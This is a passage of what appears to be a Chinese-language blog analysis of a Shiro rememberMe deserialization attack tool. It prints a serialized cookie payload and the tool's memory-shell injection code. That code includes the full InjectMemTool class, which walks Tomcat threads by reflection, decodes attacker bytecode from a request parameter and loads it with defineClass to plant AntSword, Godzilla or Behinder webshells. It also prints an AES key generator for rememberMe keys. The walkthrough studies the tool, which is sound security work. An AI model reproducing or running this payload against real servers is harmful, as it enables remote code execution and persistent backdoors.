Gk8zZTCWX5og8tYYKyOEXR7VZfU68WlPFMW83EDfLEDlCz12sjSD7BoNP1iaKDcAuvu1+IVt8C/mGg5a8UuIfOXBoGewcfURBPsSK9SFdKAt+A2tkyS491xwT6ZCAyZPYNfEYuws+iw7J7NxC4GDIYdNnjBwlHSf2OLzwUlKoYGJWAw3YEUhfvsiZ7ZZXeqwqFFamSHjCEpHal2SW/ EPfKSBivMEuAiO7ZnXW2g9pUH0+irO5HgNwqpT9l23xWJcGrZvibKHO4OSXKNS9c8H5vJvow2Jud6LC7WioU5sVndssojBnZycHcX3TzNBL31mWjmvDvmjCI1FNXluqltSaH+GUIF5MDSohP7OhXaMONWV0hCVeAtZCyeUOgCfBiSIfJG6OunyTo7bhXBAb0KUnFTrwehsMC4wj5Vv6Hwlo3kalCexG/QL2mYNr2cuPNGdxt+lOApJMISyqNU/ 4 bRhw991dCDBsc2suTw7uITRq7JLrB0ozojKl3vCHQlehWvmks38p9+ke9t6XDevejqJlu9GsKYlJOwxq8ips8ihoKcJA5j74xg56Fo0DdJRfhMAp4NRr27CDlSHm43+m3SMJ6B1yRCejyQhG1A+hdGhGlfxVk9rfmov4h1ryo0OnoE0Lff1fFLWylyXwt+1 Yvs4di18/dxrrsjVG7tCS0SV+v+/ EMIJsu1wEo2xIdCD95CO3LrF1MyR5gQmucnrlOrJJRF51a8zfdjOjV5K/JhbWaMG2wzlv3P6ugcmNYuBp98zDUgOA2jjeiZ0Sp2uUVrgYzZrJ4Q/ nQ6d5zLHkePvEq+Y53vwRwk8UJhxm0ys9w5NBLOXoR6g==; Connection: keep-alive username=admin&password=vulhub&rememberme=remember-me
回显内容为 这也解释了上面代码
1 String result = responseText .split ("\\ $\\ $\\ $" )[1 ];
解释了为什么要分割$符号 下面是工具返回的内容
跟进attackService.bodyHttpRequest() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public String bodyHttpRequest(HashMap<String, String> header , String postString ) { String result = "" ; HashMap combineHeaders = this.getCombineHeaders(header ) ; Proxy proxy = (Proxy)MainController . currentProxy.get("proxy" ); try { if (postString.equals("" )) { result = cn.hutool.http.HttpUtil . createRequest(Method.valueOf (this .method ) ,this.url).setProxy(proxy ) .headerMap(combineHeaders ,true ) .setFollowRedirects(false ) .execute() .to String() ; if (result.contains("Host" )){ return result; } result = HttpUtil . getHttpReuest(this .url , this .timeout , "UTF-8" , combineHeaders ) ; } else if (!result.contains("Host" ) | !this.method .equals("GET ")) { result = HttpUtil .postHttpReuest(this .url , postString , "UTF-8" , combineHeaders , "application/x-www-form-urlencoded" , this .timeout ) ; } } catch (Exception var6) { / / 捕获异常,将错误信息写入日志 this.mainController .logTextArea .appendText(Utils.log (var6 .getMessage () )); } / / 返回结果 return result; }
解释一下上面代码的参数 其中GET请求
1 result = cn.hutool.http.HttpUtil . createRequest(Method.valueOf (this .method ) ,this.url).setProxy(proxy ) .headerMap(combineHeaders ,true ) .setFollowRedirects(false ) .execute() .to String() ;
createRequest(Method.valueOf(this.method), this.url):创建请求(方法来自 this.method,URL 来自 this.url)
.setProxy(proxy):设置代理
.headerMap(combineHeaders, true):设置请求头(true 表示覆盖同名头)
.setFollowRedirects(false):不自动跟随重定向
.execute().toString():执行并转为字符串
发送POST请求
1 result = HttpUtil . postHttpReuest(this .url , postString , "UTF-8" , combineHeaders , "application/x-www-form-urlencoded" , this .timeout ) ;
this.url:目标 URL
postString:POST 数据
“UTF-8”:编码
combineHeaders:合并后的请求头
“application/x-www-form-urlencoded”:Content-Type
this.timeout:超时(毫秒)
跟进guessEncoding() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static String guessEncoding(byte[] bytes) { // 定义默认编码为“UTF-8 ”(检测失败时的回退值) String DEFAULT_ENCODING = "UTF-8" ; // 创建 UniversalDetector 实例(Mozilla 的字符编码检测库) // 参数:(CharsetListener)null(不使用监听器,传 null) UniversalDetector detector = new UniversalDetector((CharsetListener)null); // 将字节数组提供给检测器进行分析,bytes:字节数组,0 :起始位置,bytes.length:长度(处理全部数据) detector.handleData(bytes, 0 , bytes.length); // 标记数据已全部提供,开始最终分析 detector.dataEnd(); // 获取检测结果(编码名称,如 "UTF-8" 、"GBK" 、"ISO-8859-1" 等),可能返回 null(无法确定时) String encoding = detector.getDetectedCharset(); // 重置检测器状态,便于复用 detector.reset(); // 若检测结果为 null,使用默认编码 "UTF-8" if (encoding == null) { encoding = DEFAULT_ENCODING; } // 返回编码名称 return encoding; }
方法总结:
用途:自动检测字节数组的字符编码
使用场景:在 AttackService.execCmdTask() 中,用于正确解码命令执行的回显内容
工作原理:通过字节模式分析推测编码(如 BOM、字符频率等)
回退机制:检测失败时返回 “UTF-8”
内存马功能分析 还是去看gui.fxml定位一下,看看对应事件跟进
跟进injectShellBtn() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @FXML void injectShellBtn (ActionEvent event ) { String memShellType = (String )this .memShellOpt .getValue (); String shellPass = this .shellPassText .getText (); String shellPath = this .shellPathText .getText (); if (AttackService .gadget != null ) { this .attackService .injectMem (memShellType, shellPass, shellPath); } else { this .InjOutputArea .appendText (Utils .log ("请先获取密钥和构造链" )); } }
跟进attackService.injectMem() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public void injectMem(String memShellType , String shellPass , String shellPath ) { String injectRememberMe = this.GadgetPayload(gadget , "InjectMemTool" , realShiroKey ) ; if (injectRememberMe != null) { HashMap<String, String> header = new HashMap() ; header.put("Cookie" , injectRememberMe); header.put("p" , shellPass); header.put("path" , shellPath); try { String b64Bytecode = MemBytes . getBytes(memShellType ) ; String postString = "user=" + b64Bytecode; String result = this.bodyHttpRequest(header , postString ) ; if (result.contains("->|Success|<-" )) { String httpAddress = Utils.UrlToDomain(this .url ) ; this.mainController.InjOutputArea . appendText(Utils.log (memShellType + " 注入成功!" ) ); this.mainController.InjOutputArea . appendText(Utils.log ("路径:" + httpAddress + shellPath ) ); if (!memShellType.equals("reGeorg[Servlet]" )) { this.mainController.InjOutputArea . appendText(Utils.log ("密码:" + shellPass ) ); } } else { if (result.contains("->|" ) && result.contains("|<-" )) { this.mainController.InjOutputArea . appendText(Utils.log (result ) ); } this.mainController.InjOutputArea . appendText(Utils.log ("注入失败,请更换注入类型或者更换新路径" ) ); } } catch (Exception var10) { this.mainController.InjOutputArea . appendText(Utils.log (var10 .getMessage () )); } this.mainController.InjOutputArea . appendText(Utils.log ("-------------------------------------------------" ) ); } }
跟进MemBytes.getBytes() 有两个方法,一个是有参,一个是无参。当然上面调用的是有参的形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static String getBytes(String option ) throws NotFoundException, IOException, CannotCompileException { String classname = MEM_MAP . get(option); return MEM_TOOLS . get(classname); } public static void getBytes() throws Exception { for (Map.Entry<String, String> entry : MEM_MAP . entrySet() ) { ClassPool pool = ClassPool . getDefault() ; CtClass cc = pool.get("com.summersec.x." + (String)entry.getValue() ); byte[] b = cc.to Bytecode() ; ClassFiles .class AsFile(cc .toClass () ); String b64bytecode = new String(Base64.encodeBase64 (b ) ); String result = URLEncoder . encode(b64bytecode, "UTF-8" ); System . out.println("MEM_TOOLS.put(\"" + (String)entry.getValue() + "\", \"" + result + "\");" ); } }
在有参方法中假如传入的是蚁剑 直接会返回其对应的Base64(URL 编码)字节码字符串
然后现在看无参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public static void getBytes() throws Exception { for (Map.Entry<String, String> entry : MEM_MAP . entrySet() ) { ClassPool pool = ClassPool . getDefault() ; CtClass cc = pool.get("com.summersec.x." + (String)entry.getValue() ); byte[] b = cc.to Bytecode() ; ClassFiles .class AsFile(cc .toClass () ); String b64bytecode = new String(Base64.encodeBase64 (b ) ); String result = URLEncoder . encode(b64bytecode, "UTF-8" ); System . out.println("MEM_TOOLS.put(\"" + (String)entry.getValue() + "\", \"" + result + "\");" ); } }
现在我们只看 entry 正好是AntSwordServlet这一条时会发生什么。 某一次循环:
entry.getKey() = “蚁剑[Servlet]“
entry.getValue() = “AntSwordServlet”
然后就是Javassist 从 classpath 中加载 com.summersec.x.AntSwordServlet 这个类,得到一个可操作的字节码对象 CtClass cc。 定位一下 这一部分有两三百行,在这里分析不太合适,后面我会再开一个章节或者新写一篇博客来理解这个
跟进Utils.UrlToDomain() 回来 跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static String UrlToDomain(String target) { try { URL url = new URL(target); int port; if (url .getPort() == -1 ) { port = url .getDefaultPort(); } else { port = url .getPort(); } String httpAddress = url .getProtocol() + "://" + url .getHost() + ":" + port; return httpAddress; } catch (Exception var4) { return var4.getMessage(); } }
回到injectMem
1 String injectRememberMe = this.GadgetPayload(gadget , "InjectMemTool" , realShiroKey ) ;
InjectMemTool作为echo名传进去
在GadgetPayload(…)里面,会调用Gadgets.createTemplatesImpl(echoOpt),而echoOpt就是”InjectMemTool”:
Gadgets.createTemplatesImpl(“InjectMemTool”) → 内部会用反射找到 com.summersec.attack.deser.plugins.InjectMemTool 这个类,对应的 EchoPayload 实现。
调用它的 genPayload(ClassPool pool) 来生成一个 包含 InjectMemTool 构造函数逻辑的恶意类字节码,再塞进 TemplatesImpl,最终一起被序列化进 rememberMe Cookie。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class InjectMemTool implements EchoPayload { @Override public CtClass genPayload(ClassPool pool) throws Exception { CtClass clazz = pool.makeClass("com.summersec.x.Test" + System .nanoTime()); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addMethod(CtMethod .make(" private static Object getFV(Object o, String s) throws Exception {\n java.lang.reflect.Field f = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n f = clazz.getDeclaredField(s);\n break;\n } catch (NoSuchFieldException e) {\n clazz = clazz.getSuperclass();\n }\n }\n if (f == null) {\n throw new NoSuchFieldException(s);\n }\n f.setAccessible(true);\n return f.get(o);\n }" , clazz)); clazz.addConstructor(CtNewConstructor .make(" public InjectMemTool() {\n try {\n Object o;\n String s;\n String user = null;\n Object resp;\n boolean done = false;\n Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \" threads\" );\n for (int i = 0; i < ts.length; i++) {\n Thread t = ts[i];\n if (t == null) {\n continue;\n }\n s = t.getName();\n if (!s.contains(\" exec\" ) && s.contains(\" http\" )) {\n o = getFV(t, \" target\" );\n if (!(o instanceof Runnable)) {\n continue;\n }\n \n try {\n o = getFV(getFV(getFV(o, \" this$0\" ), \" handler\" ), \" global\" );\n } catch (Exception e) {\n continue;\n }\n \n java.util.List ps = (java.util.List) getFV(o, \" processors\" );\n for (int j = 0; j < ps.size(); j++) {\n Object p = ps.get(j);\n o = getFV(p, \" req\" );\n resp = o.getClass().getMethod(\" getResponse\" , new Class[0]).invoke(o, new Object[0]);\n \n Object conreq = o.getClass().getMethod(\" getNote\" , new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});\n \n user = (String) conreq.getClass().getMethod(\" getParameter\" , new Class[]{String.class}).invoke(conreq, new Object[]{new String(\" user\" )});\n \n if (user != null && !user.isEmpty()) {\n byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);\n \n java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\" defineClass\" , new Class[]{byte[].class, int.class, int.class});\n defineClassMethod.setAccessible(true);\n \n Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n \n cc.newInstance().equals(conreq);\n done = true;\n }\n if (done) {\n break;\n }\n }\n }\n }\n } catch (Exception e) {\n ;\n }\n }" , clazz)); return clazz; } }
添加getFV反射辅助方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 clazz.addMethod(CtMethod.make( " private static Object getFV(Object o, String s) throws Exception {\n " + " java.lang.reflect.Field f = null;\n " + " Class clazz = o.getClass();\n " + " while (clazz != Object.class) {\n " + " try {\n " + " f = clazz.getDeclaredField(s);\n " + " break;\n " + " } catch (NoSuchFieldException e) {\n " + " clazz = clazz.getSuperclass();\n " + " }\n " + " }\n " + " if (f == null) {\n " + " throw new NoSuchFieldException(s);\n " + " }\n " + " f.setAccessible(true);\n " + " return f.get(o);\n " + "}" , clazz));
private static Object getFV(Object o, String s) throws Exception
工具方法名:getFV,意思是“get Field Value”。
o:目标对象。
s:字段名(字符串)。
返回:用反射从 o 里取出名为 s 的字段值。
java.lang.reflect.Field f = null;
声明一个 Field f,初始为 null,用来保存找到的字段。
Class clazz = o.getClass();
从对象 o 获取运行时类对象,例如 o 是某个 Thread,这里就是 Thread.class。
while (clazz != Object.class) { … }
循环往上走继承链,直到 Object 为止:
先在当前类找字段;
找不到就去父类找;
一直递归往上。
1 2 3 4 5 6 try { f = clazz.getDeclaredField(s) break } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass() }
尝试在当前 clazz 中用 getDeclaredField(s) 找名为 s 的字段:
如果找到,赋给 f,然后 break; 跳出循环。
如果抛出 NoSuchFieldException,说明当前类没有这个字段:
切换到父类:clazz = clazz.getSuperclass();
然后继续 while 循环,在父类里找。
循环结束后:
1 2 3 if (f == null ) { throw new NoSuchFieldException (s); }
如果一路都没找到(包括父类们),f 仍为 null,抛出 NoSuchFieldException。
说明确实不存在这个字段。
f.setAccessible(true);
即使字段是 private,setAccessible(true) 后也可以强行读取。
典型的“越权访问私有字段”的反射用法。
return f.get(o);
返回字段在对象 o 上的值。
即:o 的 s 字段值,类型为 Object。 这个 getFV 后面会被大量用来拿各种“私有字段”:线程组里的 threads 数组、Tomcat 里的 processors、请求对象里的 req 等等。
添加构造函数 public InjectMemTool() { … }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 clazz.addConstructor(CtNewConstructor.make( " public InjectMemTool() {\n " + " try {\n " + " Object o;\n " + " String s;\n " + " String user = null;\n " + " Object resp;\n " + " boolean done = false;\n " + " Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \" threads\" );\n " + " for (int i = 0; i < ts.length; i++) {\n " + " Thread t = ts[i];\n " + " if (t == null) {\n " + " continue;\n " + " }\n " + " s = t.getName();\n " + " if (!s.contains(\" exec\" ) && s.contains(\" http\" )) {\n " + " o = getFV(t, \" target\" );\n " + " if (!(o instanceof Runnable)) {\n " + " continue;\n " + " }\n " + "\n " + " try {\n " + " o = getFV(getFV(getFV(o, \" this$0\" ), \" handler\" ), \" global\" );\n " + " } catch (Exception e) {\n " + " continue;\n " + " }\n " + "\n " + " java.util.List ps = (java.util.List) getFV(o, \" processors\" );\n " + " for (int j = 0; j < ps.size(); j++) {\n " + " Object p = ps.get(j);\n " + " o = getFV(p, \" req\" );\n " + " resp = o.getClass().getMethod(\" getResponse\" , new Class[0]).invoke(o, new Object[0]);\n " + "\n " + " Object conreq = o.getClass().getMethod(\" getNote\" , new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});\n " + "\n " + " user = (String) conreq.getClass().getMethod(\" getParameter\" , new Class[]{String.class}).invoke(conreq, new Object[]{new String(\" user\" )});\n " + "\n " + " if (user != null && !user.isEmpty()) {\n " + " byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);\n " + "\n " + " java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\" defineClass\" , new Class[]{byte[].class, int.class, int.class});\n " + " defineClassMethod.setAccessible(true);\n " + "\n " + " Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n " + "\n " + " cc.newInstance().equals(conreq);\n " + " done = true;\n " + " }\n " + " if (done) {\n " + " break;\n " + " }\n " + " }\n " + " }\n " + " }\n " + " } catch (Exception e) {\n " + " ;\n " + " }\n " + "}" , clazz));
这里还是按部分进行分析吧,因为直接加注释就有点乱了 前几行
1 2 3 4 5 6 7 public InjectMemTool () { try { Object o; String s; String user = null ; Object resp; boolean done = false ;
o:临时变量,用来存放当前正在操作的对象(线程、请求、处理器等)。
s:字符串临时变量,主要用于保存线程名。
user:请求参数 user 的值,初始化为 null。
resp:HTTP 响应对象。
done:标记是否已经成功完成注入,一旦为 true 就可以跳出循环。
从线程组中拿到所有线程
1 Thread [] ts = (Thread []) getFV(Thread .currentThread().getThreadGroup(), "threads" )
Thread.currentThread().getThreadGroup():
取当前线程所在的 ThreadGroup。
用刚才的 getFV,从 ThreadGroup 对象中拿到私有字段 threads。
这个字段类型就是 Thread[],保存着这个线程组里的所有线程。
ts 就是当前 JVM 里一堆线程的数组。
遍历所有线程,筛选“HTTP 处理线程”
1 2 3 4 5 6 7 8 9 10 for (int i = 0 Thread t = ts[i] if (t == null) { continue } s = t .getName() if (!s.contains("exec" ) && s.contains("http" )) { ... } }
for 循环:遍历整个线程数组。
Thread t = ts[i]; if (t == null) continue;:
有些槽位可能为空,跳过。
取当前线程名,比如 http-nio-8080-exec-1 这种。
!s.contains(“exec”) && s.contains(“http”)
逻辑:线程名包含 “http”,但不包含 “exec”。
目的是尽量锁定“负责 HTTP 处理的大线程”,而不是子执行线程(有些容器线程名里会包含 exec)。 也就是说:这一段在所有线程里,凭名字粗略筛出 HTTP 相关的处理线程。
从线程对象挖到真正处理请求的“目标对象”
1 2 3 4 o = getFV(t, "target" );if (!(o instanceof Runnable)) { continue ; }
从 Thread t 里拿 target 字段(很多线程实现里有这个字段,指向 Runnable)。
如果 o 不是 Runnable,说明这个线程结构不是我们预期的,跳过这一线程。
下面是关键的、强依赖特定服务器实现的链条:
1 2 3 4 5 try { o = getFV (getFV (getFV (o, "this$0 " ), "handler" ), "global" ); } catch (Exception e) { continue ; }
这一行可以分三层看:getFV( getFV( getFV(o, “this$0”), “handler”), “global”)
第一次 getFV(o, “this$0”): 1、很多匿名内部类 / 成员内部类,会有一个编译器生成的字段 this$0,指向外部类实例。 2、这里通过 this$0 反推出某个外部类(例如某个 HTTP 连接处理器)。
第二次 getFV(…, “handler”): 1、在外部类里再取一个 handler 字段,通常是“处理请求的 handler 对象”。
第三次 getFV(…, “global”): 1、再从 handler 里取全局对象 global,通常是“全局的连接器/服务对象”,里面装着一堆 processors。
如果任一层出错(字段不存在 / 结构不同),会抛异常,被 catch (Exception e) { continue; } 捕获:
直接 continue;,跳到下一个线程继续尝试。 这部分可以简单理解为:“沿着线程 → target → 外部类 → handler → global 一路反射下去,想拿到一个拥有 processors 列表的全局对象”。 这和之前看到的各种 Tomcat 内存马代码风格是同一类。
进入 processors,拿到每个请求对象
1 2 3 4 5 java.util.List ps = (java.util.List) getFV(o , "processors" ) ;for (int j = 0 ; j < ps.size() ; j++) { Object p = ps.get(j); o = getFV(p , "req" ) ; resp = o.getClass() .getMethod("getResponse" , new Class[0]) .invoke(o, new Object[0 ] );
ps = (List) getFV(o, “processors”);
从全局对象 o 中取出 processors 字段: 1、这通常是某种 List,每个元素 p 对应一个“当前连接/请求处理器”。
遍历 processors:1 2 Object p = ps.get (j); o = getFV(p, "req" );
p:某个处理器实例。
从p里拿req字段(请求对象)。
取响应对象:
1 2 3 resp = o.getClass() .getMethod("getResponse" , new Class [0 ]) .invoke(o, new Object [0 ]);
反射调用 req.getResponse(),拿到 resp(响应对象)。
这里的 resp 后面实际上没直接用于输出(注入逻辑只用 conreq 这个“应用层 request”)。
拿到“应用层 Request”并读取 user 参数
1 2 3 4 5 Object conreq = o.getClass().getMethod("getNote", new Class []{int .class }) .invoke(o, new Object []{new Integer (1 )});user = (String) conreq.getClass().getMethod("getParameter", new Class []{String.class }) .invoke(conreq, new Object []{new String("user")});
这是很多容器内部的一个“笔记/附加对象”机制。
这里传入参数 1,拿到的是“应用层请求对象”(和底层 TCP 的 req 再区分开)。
然后通过 conreq.getParameter(“user”):
利用标准 Servlet 风格的 getParameter 从 请求参数 中取出名为 “user” 的参数。
也就是你在 injectMem() 那里构造的:1 String postString = "user=" + b64Bytecode;
这里的 user 就是 Base64 编码的内存马字节码(注意:这里用的是 org.apache.shiro.codec.Base64.decode 解码,与发送时对应)。
解码user参数得到字节码,反射调用defineClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (user != null && !user .isEmpty()) { byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user ); java.lang.reflect.Method defineClassMethod = ClassLoader.class .getDeclaredMethod("defineClass", new Class []{byte[].class , int .class , int .class }); defineClassMethod.setAccessible(true ); Class cc = (Class ) defineClassMethod.invoke( this.getClass().getClassLoader(), new Object []{bytecodes, new Integer (0 ), new Integer (bytecodes.length)}); cc.newInstance().equals(conreq); done = true ; }
逐句解释
1 if (user != null && !user .isEmpty()) {
只有当请求参数里确实带了 user,才继续执行注入。
也就是只有你点击“执行注入”并发送 POST 的那次请求才会触发。
1 byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user)
用Shiro自带的Base64工具类把user字符串解码成原始字节数组。
这里得到的就是你从 MemBytes.getBytes(memShellType) 得到的那段“内存马类的原始 .class 字节码”。
获取defineClass方法:
1 2 3 4 java.lang.reflect.Method defineClassMethod = ClassLoader.class .getDeclaredMethod("defineClass" , new Class []{byte [].class , int .class , int .class }); defineClassMethod.setAccessible(true );
在ClassLoader类上,通过反射拿私有方法 defineClass(byte[] b, int off, int len)。
正常Java代码不能随便调用这个私有方法,这里通过 setAccessible(true) 绕过访问限制。
调用defineClass动态定义类:
1 2 3 Class cc = (Class) defineClassMethod.invoke( this.getClass() .getClassLoader() , new Object[] {bytecodes, new Integer(0) , new Integer(bytecodes .length ) });
this.getClass().getClassLoader():
取当前类(也就是动态生成的 TestXXXX)的类加载器。
在这个类加载器里注册一个新的类。
bytecodes:刚才 Base64 解出来的内存马字节码。
0:偏移量,从头开始。
bytecodes.length:长度,全数组。
返回一个 Class cc,就是你注入的那种类(比如内存马GodzillaServlet/BehinderFilter等)。
实例化并触发内存马
1 2 cc.newInstance().equals(conreq)done = true
调用无参构造函数,创建一个内存马对象。
很多“内存马实现”都把逻辑写在 equals(Object obj) 里: 1、当你调用 equals(HttpServletRequest) 或 equals(conreq) 时,它会把自己注册为 Filter/Servlet/Listener 等。
所以这里通过 equals(conreq) 把 conreq(应用层请求对象)传给内存马,让它完成注册和初始化。
标记“已经成功注入一次”,后面可以停止循环。
成功一次就break
一旦 done == true,直接 break; 跳出当前 processors 循环。
外层的线程循环虽然还在,但由于 done = true 不再会有有效的注入逻辑(实际上这里只 break 了内层 j 循环,外层 i 还是继续,不过由于 user 只在“当前注入请求”里有值,其他线程一般不会再次进入注入逻辑)。
返回CtClass
最终返回我们动态构造好的 CtClass,里面包含:
一个 getFV(…) 静态方法;
一个重写的构造函数 public InjectMemTool(),构造时就自动执行上面那一大段“扫描线程 → 找请求 → 取 user → defineClass → newInstance → equals(conreq)”的代码。 当 Gadgets.createTemplatesImpl(“InjectMemTool”) 把这个类注入到 TemplatesImpl 中、再触发反序列化时,一旦这个类的实例被创建,它的构造函数就会立刻跑完上述逻辑,从而把你的内存马 class 字节码真正加载进目标JVM并初始化。
key生成功能分析 最后一个功能点首先还是回到gui.fxml 跟进一下这个事件
跟进Keytxt()
1 2 3 4 5 6 7 8 9 10 11 @FXML void Keytxt (ActionEvent actionEvent) { KeyGenerator keyGenerator = new KeyGenerator (); String key = keyGenerator.getKey(); this .keytxt.appendText(key); this .keytxt.appendText("\n" ); }
跟进KeyGenerator() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.summersec.attack.Encrypt;import org.apache.shiro.codec.Base64;import javax.crypto.SecretKey;import java.security.NoSuchAlgorithmException;public class KeyGenerator { public static void main (String[] args) { KeyGenerator keyGenerator = new KeyGenerator (); System.out.println(keyGenerator.getKey()); } public String getKey () { javax.crypto.KeyGenerator keygen = null ; try { keygen = javax.crypto.KeyGenerator.getInstance("AES" ); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } SecretKey deskey = keygen.generateKey(); return Base64.encodeToString(deskey.getEncoded()); } }
技术要点
密钥生成器:使用 JDK 的 javax.crypto.KeyGenerator,默认生成 128 位 AES 密钥。
Base64 编码:使用 Shiro 的 Base64.encodeToString(),与 Shiro 的密钥格式一致。
用途:生成用于 Shiro rememberMe 加密的密钥,可用于测试或替换目标密钥。
至此分析流程已经结束,下一章分析一下这一章的困难吧,做一下详细的解释